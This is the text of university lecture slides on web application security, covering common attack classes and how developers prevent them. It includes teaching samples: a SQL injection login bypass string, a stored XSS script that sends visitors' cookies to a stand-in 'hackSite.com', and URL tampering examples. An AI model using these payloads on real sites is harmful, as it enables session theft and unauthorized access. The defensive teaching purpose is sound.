Web Application Security

CIS 3308 - Kyvernitis
Definitions

- Authentication – who are you?
- Authorization – what are you allowed to do?
Top Web App Hacks

• **Injection**: Attacker input types code (e.g., SQL, javascript) as data (e.g., into a form) in hopes that the damaging code will be executed on the server.

• **Cross Site Scripting (XSS)**: Attacker inputs code (e.g., SQL, javascript) as data (e.g., into a form) such that the code (also called infected data) will be stored on the server. Authorized users of that web site unknowingly download infected data, thinking they are downloading something clean from a trusted web app. Eventually, the hacker’s code is executed on the PCs of the authorized users.

• **Cross Site Request Forgery (CSRF)**: After attacker gets victim’s credentials to a vulnerable site, the attacker can impersonate the victim on that vulnerable site including transferring money etc.
Top Web App Hacks (continued)

- **Broken Authentication and Session Management:** cookie/session id is stolen then used. The hacker can only take advantage of this session id for a short time, since these typically expire pretty quickly.

- **Insecure Direct Object References:** Hackers access pages they are not authorized to access, e.g., by URL tampering.

- **Failure to Restrict URL Access:** Just because you don’t show a link to an attacker, doesn’t mean that they can’t guess and type it in. *Perform authorization on the server (check the server session object to see who’s logged in).*

- **Security Misconfiguration:** patches not kept up to date (any software from operating system on up).
Top Web App Hacks (continued)

- **Insecure Cryptographic Storage:** e.g., user and/or database passwords stored in plain text anywhere, e.g., inside the database, in log files, in the source code, in any backup files.

- **Insufficient Transport Layer Protection:** using http instead of https, network sniffer can grab passwords.

- **Unvalidated Redirects and Forwards:** attacker gets victim to click on link to a real site with URL parameters that are contrived to redirect the victim to the attacker's site, (e.g., http://realsite.com?redirectURL=hackerSite). This only works if “real site” uses redirect parameters that are passed around within their site. The attacker is hoping that the user/victim will not look carefully at the parameters in the URL and that the “real site” will not validate the redirect parameters.
EXAMPLE OF SQL INJECTION HACK

Attacker wants the code to be this (using java.sql.Statement):

```
SELECT * FROM web_user WHERE user_email='"+email+"' AND
user_pw='"+pw+"';
```

When the Attacker enters this “data”:

We get this SQL:

```
select * from web_user
where user_email = ' x' or 1=1; #'
and user_pw = "
```

# marks the beginning of a comment (masks the rest of the SQL statement).
The statement is always true, logs the hacker right on…
Prevent SQL Injection by using PreparedStatement (called Parameterized SQL Statement in .NET).

```java
String sql = "select * from web_user where user_email = ? and user_pw = ?";
```

OR Prevent SQL Injection by using a Stored Procedure (see next slide for more about Stored Procedures).
Comparing PreparedStatement to Stored Procedure

A stored procedure is like a SQL function that is saved to the database.

- **Like the PreparedStatement:**
  - Stored procedures are immune to SQL injection attack (because the user input is restricted to just the parameters that are passed to the stored procedure).
  - Stored procedures are faster than java.sql.Statement because the Stored Procedure is pre-compiled, whereas the java.sql.Statement must be SQL compiled each time before running.

- **HOWEVER,** Stored procedures are not as portable as PreparedStatements. If you were moving your web app from one type of database to another (e.g., from Oracle to MySQL), you’d have to rewrite and test each stored procedure (e.g., using MySQL Workbench). PreparedStatements are “auto-SQL-compiled” once at first use.
Cross-Site Scripting (XSS)

Occurs any time...

• Raw data from attacker is sent to an innocent user’s browser

Raw data...

• Stored in database
• Reflected from web input (form field, hidden field, URL, etc...)
• Sent directly into rich JavaScript client

Typical Impact

• Steal user’s session, steal sensitive data, rewrite web page, redirect user to phishing or malware site
• Most Severe: Install XSS proxy which allows attacker to observe and direct all user’s behavior on vulnerable site and force user to other sites
EXAMPLE OF JAVASCRIPT (XSS) INJECTION HACK

SCENARIO:
• The hacker inputs data with JS code. That “data” gets saved to the database.
• Some other user looks at the product review (from the database) – that user gets their cookies stolen (sent to the hacker’s site).

PREVENTION:
• Don’t store any secrets in a cookie on the client side.
• Clean user data (so no runnable code) before storing on the server – you can convert all "<" to "&lt;“ – then there won’t be any runnable <script> tags.

Comments:
Great product.
<script>
    document.location="http://hackSite.com/getCookies.JSP?cookieVals="+
    document.cookie;
</script>
Avoid Cross Site Scripting (XSS)

■ Eliminate Flaw
  ▸ Don’t output any raw user supplied data input anywhere on the page

■ Defend Against the Flaw
  ▸ Output encode (also called “safe escape” user supplied input) – you can find code written by others that cleans (renders harmless) user/hacker input.
  ▸ Perform ‘white list’ input validation on any user input to be included in page. (e.g., picklist instead of type in data)
Avoid Broken Authentication & Session Mgt

■ Verify your architecture

 Authentication should be simple, centralized, standardized and handled on the server side.
  ▪ Logon should store user info to the server session object
  ▪ Web APIs that require authentication should check the server session object.
  ▪ Do not use client side cookies for logon and authentication.

 Use SSL (secure sockets layer), so that all requests/responses are sent through encrypted HTTPS, not plain text HTTP:
  ▪ http://tomcat.apache.org/tomcat-5.5-doc/ssl-howto.html
  ▪ The set up procedure is done in the configuration of your tomcat configuration (and you need to get a certificate for your site).
Insecure Direct Object References

How do you protect access to your data?

• This is part of enforcing proper “Authorization”

A common mistake ...

• Only listing the ‘authorized’ objects for the current user, or
• Hiding the object references in hidden fields
• ... and then not enforcing these restrictions on the server side
• This presentation layer access control doesn’t work on the web
• Attacker simply tampers with URL and parameter values

Typical Impact

• Hackers can access unauthorized files or data
Insecure Direct Object References Illustrated

- Attacker notices his acct parameter is 6065
  ?acct=6065

- He modifies it to a nearby number
  ?acct=6066

- Attacker views the victim’s account information

https://www.onlinebank.com/user?acct=6065
Avoiding Insecure Direct Object References

Instead of having a URL like this:

- http://cis-iis2.temple.edu/sallyk/edit_act.jsp?acct=1234

You map the accounts to some other less obvious code (and you could encrypt it)


Also, have the server side code perform authentication (making sure that the user who’s logged in is authorized to edit that account number).
Failure to Restrict URL Access

How do you protect access to URLs (pages)?

- Check (session) at the beginning of each secure Web API. If not authorized, refuse to perform the operation.

A common mistake ...

- Displaying only authorized links and menu choices
- This is called presentation layer access control, and doesn’t work
- Attacker simply forges direct access to ‘unauthorized’ pages

Typical Impact

- Attackers invoke functions and services they’re not authorized for
- Access other user’s accounts and data
- Perform privileged actions
Failure to Restrict URL Access Illustrated

- Attacker notices the URL indicates his role
  `/user/getAccounts`

- He modifies it to another directory (role)
  `/admin/getAccounts`, or
  `/manager/getAccounts`

- Attacker views more accounts than just their own
Security Misconfiguration

Web applications rely on a secure foundation

- Everywhere from the OS up through the App Server
- Don’t forget all the libraries you are using!!

Is your source code a secret?

- Think of all the places your source code goes
- Security should not require secret source code

Configuration Mgt must extend to all parts of the application

- All credentials should change in production

Typical Impact

- Install backdoor through missing OS or server patch
- XSS flaw exploits due to missing application framework patches
- Unauthorized access to default accounts, application functionality or data, or unused but accessible functionality due to poor server configuration
Avoiding Security Misconfiguration

- Verify your system’s configuration management
  - Keep up with patches for ALL components
    - This includes software libraries, not just OS and Server applications
  - Analyze security effects of changes

- application configuration
  - Never include passwords in the source code – put them in a secured data file.
  - Many people (programmers, etc) know the passwords to development environments. Few people know the password to the production environment (and these people do not have access to the code).
Add Encryption where necessary

- Identify all sensitive data, such as the database password like we have in DbConn, user passwords (e.g., `web_user.user_password`).
  - Use encryption to counter the threats

- Protect with appropriate mechanisms
  - File encryption, database encryption, data element encryption

- Use the mechanisms correctly
  - Use standard strong algorithms
  - Generate, distribute, and protect keys properly
  - Be prepared for key change

- Use HTTPS not HTTP (encrypt request/response traffic)
Unvalidated Redirects and Forwards

Web application redirects are very common

- And frequently include user supplied parameters in the destination URL
- If they aren’t validated, attacker can send victim to a site of their choice

Forwards (aka Transfer in .NET) are common too

- They internally send the request to a new page in the same application
- Sometimes parameters define the target page
- If not validated, attacker may be able to use unvalidated forward to bypass authentication or authorization checks

Typical Impact

- Redirect victim to phishing or malware site
- Attacker’s request is forwarded past security checks, allowing unauthorized function or data access
Avoiding Unvalidated Redirects and Forwards

- Avoid using user parameters when defining the target URL
  - If you ‘must’ involve user parameters, then
    - Validate each parameter to ensure it’s authorized for the current user
    - Or Defense in depth: For redirects, validate the target URL after it is calculated to make sure it goes to an authorized external site

- Some thoughts about protecting Forwards
  - Try to ensure that ALL users who can access the original page are also authorized to access the target page.
Anything Client Side is Insecure:

- Never rely on anything client side for security because this can be easily spoofed by a hacker. Put user credentials into the JSP implicit SESSION object (in web server's memory) not in a cookie (plain text file stored on the client's PC).

- Remember that GET and POST values can be easily created/modified by a hacker after they view source on the HTML page to see what are the names of your <input> tags. So, if you validate using javascript, this is for the user's convenience, not for security.

- A restricted page should check (itself) who is trying to access it. If not authorized, redirect to a different page. Do not think that you are protecting a page just because you are not showing the link to that page (e.g., from a dynamically generated, role-aware, nav bar). Assume that a hacker can find out or guess the name of all your pages.
Prevent Injection.

- To prevent SQL injection, use Parameterized Sql statements (which get converted to stored procedures). The other type, the "plain" Sql Statement, basically opens up a sql console to the hacker and this is not good. They can type multiple sql commands into large textboxes and do a lot of damage when they click submit.

- To prevent javascript injection, clean all user input such that there is no way that input could be executed as javascript. One simple example is to turn angle brackets <> into the special HTML codes (Like &nbsp; for non-breaking space): &lt; and &gt; But you can find java code already written by others that you just import and use, e.g., "anti-sammy".

- Never redirect or forward to a URL that is built from uncleaned user input.
Summary (3/3)

Encryption:

- Never put database username/pw in plain text in your code (like we did in dbconn) -- put the db username/pw in a file (possibly encrypted) but certainly in a folder with restricted access.
- Never store user passwords (e.g., web_user.user_password) unencrypted in the database -- too many people can see it.
- Use HTTPS on the whole website so that sensitive information such as passwords or credit card numbers cannot be sniffed by hackers. HTTPS does the same thing as HTTP (get, post) but the messages to and from the server are sent "on top of" SSL (secure sockets layer, encrypted). If you are hosting a web site and you want to implement HTTPS, you must obtain a certificate from a certificate issuing authority (costs some money), then you have to do some tomcat admin / set up to enable HTTPS.  [http://en.wikipedia.org/wiki/HTTP_Secure](http://en.wikipedia.org/wiki/HTTP_Secure)
- Make Sure all Patches Applied to all SW at all Levels.
- Many Security Measures are procedural (and not part of your web app)